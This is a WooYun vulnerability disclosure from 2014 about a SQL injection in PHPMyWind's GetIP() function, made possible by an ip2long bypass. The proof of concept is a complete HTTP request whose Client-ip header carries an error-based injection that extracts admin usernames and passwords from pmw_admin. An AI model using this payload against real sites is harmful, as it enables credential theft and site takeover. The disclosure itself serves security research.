WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-081372

漏洞标题：PHPMyWind一处注入（鸡肋）

相关厂商：phpmywind.com

漏洞作者： loopx9

提交时间：2014-10-30 18:27

修复时间：2014-12-30 14:44

公开时间：2014-12-30 14:44

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2014-10-30： 细节已通知厂商并且等待厂商处理中
2014-11-04： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-12-29： 细节向核心白帽子及相关领域专家公开
2015-01-08： 细节向普通白帽子公开
2015-01-18： 细节向实习白帽子公开
2014-12-30： 细节向公众公开

简要描述：

sql注射。

详细说明：

function GetIP()
	{
		static $ip = NULL;
		if($ip !== NULL) return $ip;
	
		if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
		{
			$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
			$pos = array_search('unknown',$arr);
			if(false !== $pos) unset($arr[$pos]);
			$ip  = trim($arr[0]);
		}
		else if(isset($_SERVER['HTTP_CLIENT_IP']))
		{
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		}
		else if(isset($_SERVER['REMOTE_ADDR']))
		{
			$ip = $_SERVER['REMOTE_ADDR'];
		}
	
		//IP地址合法验证
		$ip = (false !== ip2long($ip)) ? $ip : '0.0.0.0';  //在低版本的php中ip2long有个bug，利用此bug可以绕过此处IP检查，进行sql注射
		return $ip;
	}

漏洞证明：

POST /PHPMyWind/vote.php?id=1 HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Client-ip: 1.2.3.4	' or  @`'` AND ( SELECT 1 FROM (SELECT count(1),concat(round(rand(0)),(SELECT concat(username,0x23,password) FROM pmw_admin LIMIT 0,1))a FROM information_schema.tables GROUP by a)b) or @`'` and ''='
options%5B%5D=1&voteid=1&action=add

修复方案：

版权声明：转载请注明来源 loopx9@乌云

漏洞回应